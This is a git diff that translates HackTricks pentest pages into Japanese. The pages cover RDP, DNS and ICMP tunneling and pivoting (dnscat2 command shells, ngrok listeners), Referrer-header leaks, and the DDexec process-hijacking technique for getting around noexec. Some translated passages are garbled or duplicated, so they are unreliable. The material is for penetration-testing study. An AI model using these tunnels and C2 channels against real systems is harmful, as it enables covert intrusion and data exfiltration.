このツールは、WindowsのRemote Desktop Service機能の`Dynamic Virtual Channels`(DVC)を使用します。DVCは、**RDP接続を介してパケットをトンネリング**する役割を担っています。 +2. [Proxifier ポータブルバイナリ](https://www.proxifier.com/download/#win-tab) +クライアントコンピュータで、**`SocksOverRDP-Plugin.dll`**を次のようにロードします: ```bash # Load SocksOverRDP.dll using regsvr32.exe C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll ``` +今、**`mstsc.exe`**を使用して**RDP**経由で**被害者**に**接続**できるようになりました。そして、**SocksOverRDPプラグインが有効**になっているという**プロンプト**が表示され、**127.0.0.1:1080**で**リッスン**するはずです。 -Now we can **connect** to the **victim** over **RDP** using **`mstsc.exe`**, and we should receive a **prompt** saying that the **SocksOverRDP plugin is enabled**, and it will **listen** on **127.0.0.1:1080**. - -**Connect** via **RDP** and upload & execute in the victim machine the **`SocksOverRDP-Server.exe` ** binary: - +**RDP**経由で**接続**し、被害者のマシンに**`SocksOverRDP-Server.exe`**バイナリをアップロードして実行してください。 ``` C:\SocksOverRDP-x64> SocksOverRDP-Server.exe ``` - -Now, confirm in you machine (attacker) that the port 1080 is listening: - +次に、自分のマシン(攻撃者)でポート1080がリッスンしていることを確認してください。 ``` netstat -antb | findstr 1080 ``` +今、[**Proxifier**](https://www.proxifier.com/)を使用して、トラフィックをそのポートを介してプロキシすることができます。 -Now you can use [**Proxifier**](https://www.proxifier.com/) **to proxy the traffic through that port.** +## Windows GUIアプリをプロキシ化する -## Proxify Windows GUI Apps +[**Proxifier**](https://www.proxifier.com/)を使用して、Windows GUIアプリをプロキシ経由でナビゲートすることができます。\ +**プロファイル -> プロキシサーバー**にSOCKSサーバーのIPとポートを追加します。\ +**プロファイル -> プロキシ化ルール**にプロキシ化するプログラムの名前とプロキシ化したいIPへの接続を追加します。 -You can make Windows GUI apps navigate through a proxy using [**Proxifier**](https://www.proxifier.com/).\ -In **Profile -> Proxy Servers** add the IP and port of the SOCKS server.\ -In **Profile -> Proxification Rules** add the name of the program to proxify and the connections to the IPs you want to proxify. - -## NTLM proxy bypass - -The previously mentioned tool: **Rpivot**\ -**OpenVPN** can also bypass it, setting these options in the configuration file: +## NTLMプロキシバイパス +先述のツール: **Rpivot**\ +**OpenVPN**もこれをバイパスすることができます。設定ファイルで以下のオプションを設定します: ```bash http-proxy 8080 ntlm ``` - ### Cntlm [http://cntlm.sourceforge.net/](http://cntlm.sourceforge.net/) -It authenticates against a proxy and binds a port locally that is forwarded to the external service you specify. Then, you can use the tool of your choice through this port.\ -For example that forward port 443 - +プロキシに対して認証を行い、指定した外部サービスに転送されるローカルポートをバインドします。その後、このポートを介してお好みのツールを使用することができます。\ +例えば、ポート443を転送します。 ``` -Username Alice -Password P@ssw0rd -Domain CONTOSO.COM -Proxy 10.0.0.10:8080 +Username Alice +Password P@ssw0rd +Domain CONTOSO.COM +Proxy 10.0.0.10:8080 Tunnel 2222::443 ``` - -Now, if you set for example in the victim the **SSH** service to listen in port 443. You can connect to it through the attacker port 2222.\ -You could also use a **meterpreter** that connects to localhost:443 and the attacker is listening in port 2222. +今、例えば被害者の**SSH**サービスをポート443でリッスンするように設定した場合、攻撃者はポート2222を介してそれに接続することができます。\ +また、**meterpreter**を使用して、localhost:443に接続し、攻撃者がポート2222でリッスンしている場合も同様です。 ## YARP -A reverse proxy created by Microsoft. You can find it here: [https://github.com/microsoft/reverse-proxy](https://github.com/microsoft/reverse-proxy) +Microsoftによって作成された逆プロキシ。ここで見つけることができます:[https://github.com/microsoft/reverse-proxy](https://github.com/microsoft/reverse-proxy) -## DNS Tunneling +## DNSトンネリング ### Iodine [https://code.kryo.se/iodine/](https://code.kryo.se/iodine/) -Root is needed in both systems to create tun adapters and tunnel data between them using DNS queries. - +DNSクエリを使用して、チュンアダプタを作成し、両方のシステムでルートが必要です。それらの間でデータをトンネルするために。 ``` attacker> iodined -f -c -P P@ssw0rd 1.1.1.1 tunneldomain.com victim> iodine -f -P P@ssw0rd tunneldomain.com -r #You can see the victim at 1.1.1.2 ``` - -The tunnel will be very slow. You can create a compressed SSH connection through this tunnel by using: - +トンネルは非常に遅くなります。このトンネルを介して圧縮されたSSH接続を作成するには、次の手順を使用します: ``` ssh @1.1.1.2 -C -c blowfish-cbc,arcfour -o CompressionLevel=9 -D 1080 ``` - ### DNSCat2 -****[**Download it from here**](https://github.com/iagox86/dnscat2)**.** - -Establishes a C\&C channel through DNS. It doesn't need root privileges. +****[**ここからダウンロードしてください**](https://github.com/iagox86/dnscat2)**.** +DNSを介してC\&Cチャネルを確立します。ルート権限は必要ありません。 ```bash attacker> ruby ./dnscat2.rb tunneldomain.com victim> ./dnscat2 tunneldomain.com @@ -476,53 +507,77 @@ victim> ./dnscat2 tunneldomain.com attacker> ruby dnscat2.rb --dns host=10.10.10.10,port=53,domain=mydomain.local --no-cache victim> ./dnscat2 --dns host=10.10.10.10,port=5353 ``` +#### **PowerShellで** -#### **In PowerShell** - -You can use [**dnscat2-powershell**](https://github.com/lukebaggett/dnscat2-powershell) to run a dnscat2 client in powershell: - +[**dnscat2-powershell**](https://github.com/lukebaggett/dnscat2-powershell)を使用して、PowerShellでdnscat2クライアントを実行できます。 ``` Import-Module .\dnscat2.ps1 -Start-Dnscat2 -DNSserver 10.10.10.10 -Domain mydomain.local -PreSharedSecret somesecret -Exec cmd +Start-Dnscat2 -DNSserver 10.10.10.10 -Domain mydomain.local -PreSharedSecret somesecret -Exec cmd ``` +#### **dnscatを使用したポートフォワーディング** -#### **Port forwarding with dnscat** +dnscatは、DNSトンネリングを使用してポートフォワーディングを実現するツールです。このツールを使用すると、DNSトラフィックを介して通信を行うことができます。 +以下の手順に従って、dnscatを使用してポートフォワーディングを設定します。 + +1. ターゲットマシンにdnscatをインストールします。 + +2. ローカルマシンでdnscatを起動します。 + + ``` + dnscat server -l + ``` + + ``には、ローカルマシンで使用するポート番号を指定します。 + +3. ターゲットマシンでdnscatを起動します。 + + ``` + dnscat client -c -l -r + ``` + + ``には、dnscatサーバーのIPアドレスを指定します。``には、ローカルマシンで使用するポート番号を指定します。``には、ターゲットマシンで使用するポート番号を指定します。 + +4. ポートフォワーディングが正常に設定されたかどうかを確認します。 + + ``` + nc localhost + ``` + + ``には、ローカルマシンで使用したポート番号を指定します。接続が成功した場合、ポートフォワーディングが正常に機能しています。 + +dnscatを使用することで、ポートフォワーディングを簡単に設定することができます。この手法は、セキュリティテストや侵入テストにおいて便利です。 ```bash session -i listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this bind 8080port in attacker host ``` +#### プロキシチェーンのDNSを変更する -#### Change proxychains DNS +Proxychainsは、`gethostbyname` libc呼び出しを傍受し、TCP DNSリクエストをソックスプロキシを介してトンネリングします。デフォルトでは、proxychainsが使用するDNSサーバーは4.2.2.2(ハードコードされています)。変更するには、ファイル:_/usr/lib/proxychains3/proxyresolv_を編集し、IPを変更します。**Windows環境**の場合、**ドメインコントローラ**のIPを設定することもできます。 -Proxychains intercepts `gethostbyname` libc call and tunnels tcp DNS request through the socks proxy. By **default** the **DNS** server that proxychains use is **4.2.2.2** (hardcoded). To change it, edit the file: _/usr/lib/proxychains3/proxyresolv_ and change the IP. If you are in a **Windows environment** you could set the IP of the **domain controller**. - -## Tunnels in Go +## Goにおけるトンネル [https://github.com/hotnops/gtunnel](https://github.com/hotnops/gtunnel) -## ICMP Tunneling +## ICMPトンネリング ### Hans [https://github.com/friedrich/hans](https://github.com/friedrich/hans)\ [https://github.com/albertzak/hanstunnel](https://github.com/albertzak/hanstunnel) -Root is needed in both systems to create tun adapters and tunnel data between them using ICMP echo requests. - +両方のシステムでルート権限が必要です。TUNアダプタを作成し、ICMPエコーリクエストを使用してデータをトンネルできます。 ```bash ./hans -v -f -s 1.1.1.1 -p P@ssw0rd #Start listening (1.1.1.1 is IP of the new vpn connection) ./hans -f -c -p P@ssw0rd -v ping 1.1.1.100 #After a successful connection, the victim will be in the 1.1.1.100 ``` - ### ptunnel-ng -****[**Download it from here**](https://github.com/utoni/ptunnel-ng.git). - +****[**ここからダウンロードしてください**](https://github.com/utoni/ptunnel-ng.git)。 ```bash # Generate it -sudo ./autogen.sh +sudo ./autogen.sh # Server -- victim (needs to be able to receive ICMP) sudo ptunnel-ng @@ -533,80 +588,100 @@ ssh -p 2222 -l user 127.0.0.1 # Create a socks proxy through the SSH connection through the ICMP tunnel ssh -D 9050 -p 2222 -l user 127.0.0.1 ``` - ## ngrok -**[ngrok](https://ngrok.com/) is a tool to expose solutions to Internet in one command line.** -*Exposition URI are like:* **UID.ngrok.io** +**[ngrok](https://ngrok.com/)は、1つのコマンドラインでソリューションをインターネットに公開するためのツールです。** +*公開URIは、UID.ngrok.ioのようなものです。* -### Installation +### インストール -- Create an account: https://ngrok.com/signup -- Client download: +- アカウントを作成する:https://ngrok.com/signup +- クライアントのダウンロード: ```bash tar xvzf ~/Downloads/ngrok-v3-stable-linux-amd64.tgz -C /usr/local/bin chmod a+x ./ngrok # Init configuration, with your token ./ngrok config edit ``` +### 基本的な使用法 -### Basic usages +**ドキュメント:** [https://ngrok.com/docs/getting-started/](https://ngrok.com/docs/getting-started/). -**Documentation:** [https://ngrok.com/docs/getting-started/](https://ngrok.com/docs/getting-started/). - -*It is also possible to add authentication and TLS, if necessary.* - -#### Tunneling TCP +*必要に応じて、認証とTLSを追加することも可能です。* +#### TCPトンネリング ```bash -# Pointing to 0.0.0.0:4444 +# Pointing to 0.0.0.0:4444 ./ngrok tcp 4444 # Example of resulting link: 0.tcp.ngrok.io:12345 # Listen (example): nc -nvlp 4444 # Remote connect (example): nc $(dig +short 0.tcp.ngrok.io) 12345 ``` +#### HTTPを使用してファイルを公開する -#### Exposing files with HTTP +One common use case for tunneling and port forwarding is to expose files using the HTTP protocol. This can be useful when you want to share files with others or access them remotely. +To expose files with HTTP, you can use tools like `ngrok` or `localtunnel`. These tools create a secure tunnel between your local machine and a public URL, allowing you to access your files from anywhere. + +Here's a step-by-step guide on how to expose files using `ngrok`: + +1. Download and install `ngrok` from the official website. +2. Open a terminal and navigate to the directory where `ngrok` is installed. +3. Run the command `ngrok http `, replacing `` with the port number of the local server hosting your files. +4. `ngrok` will generate a public URL that you can use to access your files. It will also display the status of the tunnel. +5. Share the generated URL with others or use it to access your files remotely. + +Keep in mind that when exposing files with HTTP, anyone with the URL can access them. Make sure to secure your files and only share the URL with trusted individuals. + +#### HTTPを使用してファイルを公開する + +トンネリングとポートフォワーディングの一般的な使用例の1つは、HTTPプロトコルを使用してファイルを公開することです。これは、他の人とファイルを共有したり、リモートでアクセスしたりする場合に便利です。 + +HTTPを使用してファイルを公開するには、`ngrok`や`localtunnel`などのツールを使用できます。これらのツールは、ローカルマシンと公開URLの間に安全なトンネルを作成し、どこからでもファイルにアクセスできるようにします。 + +以下は、`ngrok`を使用してファイルを公開する手順のガイドです: + +1. 公式ウェブサイトから`ngrok`をダウンロードしてインストールします。 +2. ターミナルを開き、`ngrok`がインストールされているディレクトリに移動します。 +3. `ngrok http `というコマンドを実行します。``は、ファイルをホストしているローカルサーバーのポート番号に置き換えます。 +4. `ngrok`は、ファイルにアクセスするために使用できる公開URLを生成します。また、トンネルの状態も表示されます。 +5. 生成されたURLを他の人と共有するか、リモートでファイルにアクセスするために使用します。 + +HTTPを使用してファイルを公開する場合、URLを持つ人は誰でもファイルにアクセスできます。ファイルを保護し、信頼できる個人とのみURLを共有するように注意してください。 ```bash ./ngrok http file:///tmp/httpbin/ # Example of resulting link: https://abcd-1-2-3-4.ngrok.io/ ``` +#### HTTPコールのスニッフィング -#### Sniffing HTTP calls - -*Useful for XSS,SSRF,SSTI ...* -Directly from stdout or in the HTTP interface [http://127.0.0.1:4040](http://127.0.0.1:4000). - -#### Tunneling internal HTTP service +*XSS、SSRF、SSTIに役立ちます...* +標準出力から直接、またはHTTPインターフェース [http://127.0.0.1:4040](http://127.0.0.1:4000) で行います。 +#### 内部のHTTPサービスのトンネリング ```bash ./ngrok http localhost:8080 --host-header=rewrite # Example of resulting link: https://abcd-1-2-3-4.ngrok.io/ # With basic auth ./ngrok http localhost:8080 --host-header=rewrite --auth="myuser:mysuperpassword" ``` +#### ngrok.yamlのシンプルな設定例 -#### ngrok.yaml simple configuration example - -It opens 3 tunnels: -- 2 TCP -- 1 HTTP with static files exposition from /tmp/httpbin/ - +以下は3つのトンネルを開きます: +- 2つのTCPトンネル +- /tmp/httpbin/からの静的ファイル公開を行う1つのHTTPトンネル ```yaml tunnels: - mytcp: - addr: 4444 - proto: tcp - anothertcp: - addr: 5555 - proto: tcp - httpstatic: - proto: http - addr: file:///tmp/httpbin/ +mytcp: +addr: 4444 +proto: tcp +anothertcp: +addr: 5555 +proto: tcp +httpstatic: +proto: http +addr: file:///tmp/httpbin/ ``` - -## Other tools to check +## その他のチェックするツール * [https://github.com/securesocketfunneling/ssf](https://github.com/securesocketfunneling/ssf) * [https://github.com/z3APA3A/3proxy](https://github.com/z3APA3A/3proxy) @@ -615,10 +690,10 @@ tunnels: ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **サイバーセキュリティ会社で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 diff --git a/interesting-http.md b/interesting-http.md index 1b29dbcdd..92186bd99 100644 --- a/interesting-http.md +++ b/interesting-http.md @@ -1,34 +1,31 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
-# Referrer headers and policy +# リファラーヘッダーとポリシー -Referrer is the header used by browsers to indicate which was the previous page visited. +リファラーは、ブラウザが前のページを示すために使用するヘッダーです。 -## Sensitive information leaked +## 漏洩する機密情報 -If at some point inside a web page any sensitive information is located on a GET request parameters, if the page contains links to external sources or an attacker is able to make/suggest (social engineering) the user visit a URL controlled by the attacker. It could be able to exfiltrate the sensitive information inside the latest GET request. +ウェブページ内のいずれかの時点で、GETリクエストのパラメータに機密情報が含まれている場合、ページに外部ソースへのリンクが含まれている場合、または攻撃者がユーザーに攻撃者が制御するURLを訪れるようにする/提案する(ソーシャルエンジニアリング)ことができる場合、攻撃者は最新のGETリクエスト内に機密情報を外部に持ち出すことができます。 -## Mitigation - -You can make the browser follow a **Referrer-policy** that could **avoid** the sensitive information to be sent to other web applications: +## 緩和策 +ブラウザには、他のWebアプリケーションに機密情報を送信しないようにするための**リファラーポリシー**を設定することができます。 ``` Referrer-Policy: no-referrer Referrer-Policy: no-referrer-when-downgrade @@ -39,35 +36,30 @@ Referrer-Policy: strict-origin Referrer-Policy: strict-origin-when-cross-origin Referrer-Policy: unsafe-url ``` +## 対策 -## Counter-Mitigation - -You can override this rule using an HTML meta tag (the attacker needs to exploit and HTML injection): - +HTMLメタタグを使用して、このルールを上書きすることができます(攻撃者はHTMLインジェクションを悪用する必要があります): ```markup ``` +## 防御 -## Defense - -Never put any sensitive data inside GET parameters or paths in the URL. +URLのGETパラメータやパスには、機密データを絶対に入れないようにしましょう。
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
- - diff --git a/linux-hardening/bypass-linux-shell-restrictions/ddexec.md b/linux-hardening/bypass-linux-shell-restrictions/ddexec.md index fe5b220c1..4785c4a23 100644 --- a/linux-hardening/bypass-linux-shell-restrictions/ddexec.md +++ b/linux-hardening/bypass-linux-shell-restrictions/ddexec.md @@ -4,30 +4,29 @@ ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 -## Context +## コンテキスト -In Linux in order to run a program it must exist as a file, it must be accessible in some way through the file system hierarchy (this is just how `execve()` works). This file may reside on disk or in ram (tmpfs, memfd) but you need a filepath. This has made very easy to control what is run on a Linux system, it makes easy to detect threats and attacker's tools or to prevent them from trying to execute anything of theirs at all (_e. g._ not allowing unprivileged users to place executable files anywhere). +Linuxでは、プログラムを実行するためには、ファイルとして存在する必要があります。ファイルシステムの階層を通じていくつかの方法でアクセスできる必要があります(これは単に`execve()`が動作する方法です)。このファイルはディスク上に存在するか、ram(tmpfs、memfd)に存在するかもしれませんが、ファイルパスが必要です。これにより、Linuxシステムで実行されるものを制御することが非常に簡単になり、脅威や攻撃者のツールを検出したり、それらが自分自身の何かを実行しようとするのを防止したりすることが容易になります(例:特権のないユーザーが実行可能なファイルをどこにでも配置できないようにする)。 -But this technique is here to change all of this. If you can not start the process you want... **then you hijack one already existing**. +しかし、このテクニックはすべてを変えるためにここにあります。もし、あなたが実行したいプロセスを開始できない場合... **既に存在するプロセスを乗っ取ります**。 -This technique allows you to **bypass common protection techniques such as read-only, noexec, file-name whitelisting, hash whitelisting...** +このテクニックにより、読み取り専用、noexec、ファイル名のホワイトリスト、ハッシュのホワイトリストなどの一般的な保護技術を**バイパス**することができます。 -## Dependencies - -The final script depends on the following tools to work, they need to be accessible in the system you are attacking (by default you will find all of them everywhere): +## 依存関係 +最終的なスクリプトは、以下のツールに依存して動作します。攻撃対象のシステムでこれらのツールにアクセスできる必要があります(デフォルトでは、どこにでも見つけることができます)。 ``` dd bash | zsh | ash (busybox) @@ -41,54 +40,53 @@ wc tr base64 ``` +## 技術 -## The technique +プロセスのメモリを任意に変更できる場合、それを乗っ取ることができます。これは既存のプロセスを乗っ取り、別のプログラムで置き換えるために使用することができます。これは、`ptrace()` シスコールを使用するか(シスコールの実行権限が必要であるか、またはシステムに gdb が利用可能である必要があります)、またはより興味深い方法として `/proc/$pid/mem` に書き込むことによって達成することができます。 -If you are able to modify arbitrarily the memory of a process then you can take over it. This can be used to hijack an already existing process and replace it with another program. We can achieve this either by using the `ptrace()` syscall (which requires you to have the ability to execute syscalls or to have gdb available on the system) or, more interestingly, writing to `/proc/$pid/mem`. +ファイル `/proc/$pid/mem` は、プロセスのアドレス空間全体(たとえば x86-64 では `0x0000000000000000` から `0x7ffffffffffff000` まで)との一対一のマッピングです。これは、オフセット `x` でこのファイルから読み取るか書き込むことは、仮想アドレス `x` の内容を読み取るか変更することと同じです。 -The file `/proc/$pid/mem` is a one-to-one mapping of the entire address space of a process (_e. g._ from `0x0000000000000000` to `0x7ffffffffffff000` in x86-64). This means that reading from or writing to this file at an offset `x` is the same as reading from or modifying the contents at the virtual address `x`. +さて、私たちは解決しなければならない基本的な問題が4つあります: -Now, we have four basic problems to face: +* 一般的に、ルートとファイルのプログラム所有者のみがそれを変更できます。 +* ASLR。 +* プログラムのアドレス空間にマップされていないアドレスに読み書きしようとすると、I/O エラーが発生します。 -* In general, only root and the program owner of the file may modify it. -* ASLR. -* If we try to read or write to an address not mapped in the address space of the program we will get an I/O error. +これらの問題には、完璧ではないが良い解決策があります: -This problems have solutions that, although they are not perfect, are good: +* ほとんどのシェルインタプリタは、子プロセスで継承されるファイルディスクリプタを作成することを許可します。私たちは、書き込み権限を持つ `mem` ファイルを指す fd を作成することができます... したがって、その fd を使用する子プロセスはシェルのメモリを変更することができます。 +* ASLR は問題ではありません。プロセスの `maps` ファイルや procfs の他のファイルを調べることで、プロセスのアドレス空間に関する情報を得ることができます。 +* したがって、ファイル上で `lseek()` を行う必要があります。シェルからは、悪名高い `dd` を使用しない限り、これは行えません。 -* Most shell interpreters allow the creation of file descriptors that will then be inherited by child processes. We can create a fd pointing to the `mem` file of the sell with write permissions... so child processes that use that fd will be able to modify the shell's memory. -* ASLR isn't even a problem, we can check the shell's `maps` file or any other from the procfs in order to gain information about the address space of the process. -* So we need to `lseek()` over the file. From the shell this cannot be done unless using the infamous `dd`. +### より詳細に -### In more detail +手順は比較的簡単で、理解するために専門知識は必要ありません: -The steps are relatively easy and do not require any kind of expertise to understand them: +* 実行したいバイナリとローダーを解析し、必要なマッピングを特定します。そして、カーネルが `execve()` を呼び出すたびに行うのとほぼ同じ手順を実行する "シェル" コードを作成します: +* マッピングを作成します。 +* バイナリをそれらに読み込みます。 +* 権限を設定します。 +* 最後に、プログラムの引数でスタックを初期化し、ローダーが必要とする補助ベクターを配置します。 +* ローダーにジャンプし、残りの処理を任せます(プログラムに必要なライブラリをロードします)。 +* `syscall` ファイルから、シスコールの実行後にプロセスが戻るアドレスを取得します。 +* その場所(実行可能な場所)を私たちのシェルコードで上書きします(`mem` を介して書き込み不可のページを変更できます)。 +* 実行したいプログラムをプロセスの stdin に渡します("シェル" コードによって `read()` されます)。 +* この時点で、ローダーがプログラムのために必要なライブラリをロードし、それにジャンプするかどうかはローダー次第です。 -* Parse the binary we want to run and the loader to find out what mappings they need. Then craft a "shell"code that will perform, broadly speaking, the same steps that the kernel does upon each call to `execve()`: - * Create said mappings. - * Read the binaries into them. - * Set up permissions. - * Finally initialize the stack with the arguments for the program and place the auxiliary vector (needed by the loader). - * Jump into the loader and let it do the rest (load libraries needed by the program). -* Obtain from the `syscall` file the address to which the process will return after the syscall it is executing. -* Overwrite that place, which will be executable, with our shellcode (through `mem` we can modify unwritable pages). -* Pass the program we want to run to the stdin of the process (will be `read()` by said "shell"code). -* At this point it is up to the loader to load the necessary libraries for our program and jump into it. - -**Check out the tool in** [**https://github.com/arget13/DDexec**](https://github.com/arget13/DDexec) +**ツールは** [**https://github.com/arget13/DDexec**](https://github.com/arget13/DDexec) **をチェックしてください**
